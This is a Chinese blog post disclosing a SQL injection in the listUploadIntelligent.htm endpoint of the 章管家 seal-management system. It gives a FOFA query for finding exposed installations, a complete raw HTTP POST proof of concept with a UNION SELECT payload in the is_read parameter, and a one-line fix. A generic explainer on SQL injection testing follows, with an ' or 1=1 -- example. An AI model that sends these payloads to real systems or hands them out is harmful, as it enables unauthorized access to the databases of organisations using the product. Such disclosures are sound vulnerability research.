X管家listUploadIntelligent.htm接口存在sql注入

1 产品简介

章管家是一款集智能印章管理系统、APP、智能终端设备于一体的印章智慧管理解决方案,由上海建业信息科技股份有限公司推出。该产品旨在通过智能化手段,解决企业实体印章使用与管理的难点与痛点,提升印章管理的安全性和效率,为企业印章管理提供了强有力的支持。

2 漏洞概述

X管家listUploadIntelligent.htm接口存在sql注入

3 复现环境

FOFA:

body="章管家登录-公章在外防私盖"

4 漏洞复现

poc

漏洞链接:http://xxx.xx.xxx.xx/app/message/listUploadIntelligent.htm?token=dingtalk_token 

POST /app/message/listUploadIntelligent.htm?token=dingtalk_token HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: xx.xx.xx.xxx
Content-Length: 89
Content-Type: application/x-www-form-urlencoded

person_id=1&unit_id=1&pageNo=1&is_read=-1 union select user(),2,3,4,5,6,7,8,9,10,11,12 --

5 修复建议

关闭互联网暴露免或接口设置访问权限

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
接口进行SQL注入测试是一种常见的安全测试方法,旨在检测接口是否存在SQL注入漏洞,以及验证接口对于恶意输入的处理能力。下面是如何对接口进行SQL注入测试的步骤: 1. 确定目标接口:首先需要确定要测试的目标接口,可以是一个网站的登录接口、注册接口或者其他与数据库交互的接口。 2. 构造SQL注入语句:根据目标接口的输入参数,针对不同的参数类型(字符串、数字等),构造不同的SQL注入语句。例如,在登录接口中,如果用户名参数是一个字符串,可以尝试使用单引号进行注入,如`' or 1=1 -- `。 3. 发送注入请求:使用工具或编写脚本发送构造好的注入请求到目标接口,观察接口的返回结果。如果返回结果与正常情况不同,可能存在注入漏洞。 4. 分析注入结果:根据接口返回的结果,分析是否成功注入,并获取敏感信息。例如,在登录接口中,如果成功注入可以登录为其他用户,则存在注入漏洞。 5. 进行进一步测试:如果成功注入,可以尝试进一步利用注入漏洞,例如获取数据库信息、执行一些恶意操作等。 6. 提供修复建议:在完成测试后,应向开发人员提供修复建议,包括验证输入参数、使用参数化查询等措施,以预防SQL注入攻击。 总之,对接口进行SQL注入测试需要仔细构造注入语句并发送请求,然后分析结果。然而,测试前需要获得授权,只能在合法的环境中进行,遵守法律和道德规范,以保护系统的安全性。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值